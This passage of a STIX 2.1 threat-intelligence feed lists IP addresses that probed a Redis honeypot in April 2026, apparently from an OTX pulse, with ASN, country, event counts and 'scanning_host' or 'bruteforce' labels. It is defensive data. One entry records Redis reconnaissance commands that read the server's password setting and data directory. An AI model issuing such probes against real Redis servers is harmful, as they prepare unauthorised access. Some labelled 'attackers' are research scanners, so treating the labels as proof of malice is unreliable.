      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=LT; asn=209605; asn_org=UAB Host Baltic; redis_cmd_hits=0",
      "id": "indicator--63c111ef-b02a-4612-ad11-80af4680535f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T06:25:33.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '141.98.10.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T06:25:33.000Z",
      "valid_until": "2026-05-29T06:25:10.000Z"
    },
    {
      "created": "2026-04-27T06:25:33.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--36ea5911-b6dd-4424-b365-5db0d5db5b45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T06:25:33.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T06:25:33.000Z",
      "valid_until": "2026-05-29T06:25:10.000Z"
    },
    {
      "created": "2026-04-27T06:25:33.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=FR; asn=51167; asn_org=Contabo GmbH; cats=Misc activity,Generic Protocol Command Decode; redis_cmd_hits=0; cmd=\"SSH-2.0-OpenSSH  \"",
      "id": "indicator--17f0557e-2305-4677-929d-05b8df41024a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T06:25:33.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.60.241.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T06:25:33.000Z",
      "valid_until": "2026-05-29T06:25:10.000Z"
    },
    {
      "created": "2026-04-27T07:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--b82eeb3c-3c77-4392-be38-9b6944ecff11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T07:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '135.237.125.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T07:25:14.000Z",
      "valid_until": "2026-05-29T07:25:09.000Z"
    },
    {
      "created": "2026-04-27T07:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; redis_cmd_hits=0",
      "id": "indicator--c6bc5106-18d3-4100-ac7e-9daa04e71f9d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T07:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.73.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T07:25:14.000Z",
      "valid_until": "2026-05-29T07:25:09.000Z"
    },
    {
      "created": "2026-04-27T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--09ef3c5f-7b47-49eb-b5a2-b6d0dac5c770",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '134.199.145.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T08:25:10.000Z",
      "valid_until": "2026-05-29T08:25:09.000Z"
    },
    {
      "created": "2026-04-27T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--0d9dbf91-7679-4834-9486-fd5cf765e5ef",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '170.64.196.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T08:25:10.000Z",
      "valid_until": "2026-05-29T08:25:09.000Z"
    },
    {
      "created": "2026-04-27T10:25:51.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--cb57943e-54af-407a-8662-f5a19e65edf7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T10:25:51.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.38.4.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:25:51.000Z",
      "valid_until": "2026-05-29T10:25:03.000Z"
    },
    {
      "created": "2026-04-27T10:25:51.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--b6c0ded3-1936-42a3-9ccd-e8e86cd47330",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T10:25:51.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.84.20.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:25:51.000Z",
      "valid_until": "2026-05-29T10:25:03.000Z"
    },
    {
      "created": "2026-04-27T13:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--8faf1ea2-dd49-499e-b52b-9b42dc11928b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T13:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.236.96.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:25:05.000Z",
      "valid_until": "2026-05-29T13:25:04.000Z"
    },
    {
      "created": "2026-04-27T13:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--f9f90496-ae5b-497c-a1f5-08e7e5be0257",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T13:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.62.98.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:25:05.000Z",
      "valid_until": "2026-05-29T13:25:04.000Z"
    },
    {
      "created": "2026-04-27T13:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--7a20adb6-ef70-4a85-a56f-9786111a5f91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T13:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '35.195.219.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:25:05.000Z",
      "valid_until": "2026-05-29T13:25:04.000Z"
    },
    {
      "created": "2026-04-27T13:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; redis_cmd_hits=0",
      "id": "indicator--544a1772-58be-489f-9bf2-175deeea15ab",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T13:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '88.210.63.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:25:05.000Z",
      "valid_until": "2026-05-29T13:25:04.000Z"
    },
    {
      "created": "2026-04-27T15:25:53.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T15:25:53.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T15:25:53.000Z",
      "valid_until": "2026-05-29T15:25:04.000Z"
    },
    {
      "created": "2026-04-27T16:27:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--6e896810-23b6-48de-9cca-d6b9c08244c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T16:27:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T16:27:17.000Z",
      "valid_until": "2026-05-29T16:25:09.000Z"
    },
    {
      "created": "2026-04-27T16:27:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--9461dce7-6c16-49a7-a61c-bea6ca7259c5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T16:27:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '206.189.180.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T16:27:17.000Z",
      "valid_until": "2026-05-29T16:25:09.000Z"
    },
    {
      "created": "2026-04-27T21:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--b0a7f325-0e3b-4ec6-ac94-9df728747456",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T21:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '221.226.215.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:25:18.000Z",
      "valid_until": "2026-05-29T21:25:17.000Z"
    },
    {
      "created": "2026-04-27T22:25:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=56048; asn_org=China Mobile Communicaitons Corporation; redis_cmd_hits=0",
      "id": "indicator--09dbca89-20d3-4f61-a5e1-232a00c7c057",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T22:25:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.72.120.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T22:25:20.000Z",
      "valid_until": "2026-05-29T22:25:09.000Z"
    },
    {
      "created": "2026-04-27T22:25:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--ecc428ac-d123-4e6e-adda-be79481708e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T22:25:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.154.153.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T22:25:20.000Z",
      "valid_until": "2026-05-29T22:25:09.000Z"
    },
    {
      "created": "2026-04-28T03:25:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e438ee9b-e6cf-4075-89f9-f19034858dc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:25:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:25:20.000Z",
      "valid_until": "2026-05-30T03:25:19.000Z"
    },
    {
      "created": "2026-04-28T03:25:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--6f28a15b-b93d-4dc2-b5a1-fa9e00477240",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T03:25:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '40.119.26.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:25:20.000Z",
      "valid_until": "2026-05-30T03:25:19.000Z"
    },
    {
      "created": "2026-04-28T04:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--a1435547-6c1a-4ed2-8754-526b8e4cc76b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-28T04:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T04:25:14.000Z",
      "valid_until": "2026-05-30T04:25:13.000Z"
    },
    {
      "created": "2026-04-28T04:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--22843072-f513-4f20-b76e-c1160c4addd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T04:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T04:25:14.000Z",
      "valid_until": "2026-05-30T04:25:13.000Z"
    },
    {
      "created": "2026-04-28T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--8be1a5f3-8663-4053-90f8-e522d75d9ac2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '137.184.74.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T07:25:10.000Z",
      "valid_until": "2026-05-30T07:25:09.000Z"
    },
    {
      "created": "2026-04-28T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--6e4e7c74-33dc-4c49-b721-578814cf40e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '174.138.46.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T07:25:10.000Z",
      "valid_until": "2026-05-30T07:25:09.000Z"
    },
    {
      "created": "2026-04-28T14:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--d8c73697-e7a1-4ac1-87df-3c728186c097",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-28T14:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T14:25:05.000Z",
      "valid_until": "2026-05-30T14:25:03.000Z"
    },
    {
      "created": "2026-04-28T14:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=NL; asn=202425; asn_org=IP Volume inc; redis_cmd_hits=0",
      "id": "indicator--bb6713e7-c527-4d54-89eb-0dbfb988eeae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T14:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '89.248.167.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T14:25:05.000Z",
      "valid_until": "2026-05-30T14:25:03.000Z"
    },
    {
      "created": "2026-04-28T16:26:33.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=CN; asn=141679; asn_org=China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch; redis_cmds=CONFIG GET requirepass,GET __hpchk__,SET __hpchk__ hp90716,CONFIG GET dir; redis_cmd_hits=0; cmd=\"CONFIG GET dir\"",
      "id": "indicator--c2b4bd56-a475-4ec4-890c-91b364530322",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T16:26:33.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.72.44.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T16:26:33.000Z",
      "valid_until": "2026-05-30T16:25:17.000Z"
    },
    {
      "created": "2026-04-28T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=35; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--4df11e09-bfb6-44c2-8b3b-f5386a4fcac4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:25:10.000Z",
      "valid_until": "2026-05-30T18:25:09.000Z"
    },
    {
      "created": "2026-04-28T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--7934b6c9-1b9c-4ab9-9bef-ce89d93c003c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-28T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.51.6.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T22:25:10.000Z",
      "valid_until": "2026-05-30T22:25:09.000Z"
    },
    {
      "created": "2026-04-29T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--a0c9ed19-bc7d-4147-b287-4393c36f407f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.128.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T02:25:10.000Z",
      "valid_until": "2026-05-31T02:25:09.000Z"
    },
    {
      "created": "2026-04-29T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--8661bdd4-1dfc-45eb-b11c-9366cc551127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.168.6.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T02:25:10.000Z",
      "valid_until": "2026-05-31T02:25:09.000Z"
    },
    {
      "created": "2026-04-29T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--c79ccc47-77f8-4bac-af7b-de7ebd1a21ef",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-29T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.25.89.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T04:25:10.000Z",
      "valid_until": "2026-05-31T04:25:09.000Z"
    },
    {
      "created": "2026-04-29T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--f4e244ce-8d18-4189-9aa4-afb7fdda54e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T05:25:10.000Z",
      "valid_until": "2026-05-31T05:25:09.000Z"
    },
    {
      "created": "2026-04-29T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--f5b258f4-c6e0-44cb-be04-f9ddb6ca7703",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.78.147.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:25:10.000Z",
      "valid_until": "2026-05-31T07:25:09.000Z"
    },
    {
      "created": "2026-04-29T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--9a8d752e-efa5-4e1c-a761-7e6ec7b1926b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-29T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '35.187.99.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:25:10.000Z",
      "valid_until": "2026-05-31T07:25:09.000Z"
    },
    {
      "created": "2026-04-29T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--8a6c461c-bd48-4ce4-82d5-a8e39c8432f6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-29T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '35.233.67.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:25:10.000Z",
      "valid_until": "2026-05-31T07:25:09.000Z"
    },
    {
      "created": "2026-04-29T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--8e115bc9-59c3-4227-9db3-6dbbb13bf0fc",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-29T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.56.220.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:25:10.000Z",
      "valid_until": "2026-05-31T09:25:09.000Z"
    },
    {
      "created": "2026-04-29T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--496f9dab-99b8-4cf0-9954-0110da278cae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:25:10.000Z",
      "valid_until": "2026-05-31T09:25:09.000Z"
    },
    {
      "created": "2026-04-29T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--1ff2d7da-eab7-483e-bcc5-49d26c168ea4",
      "labels": [
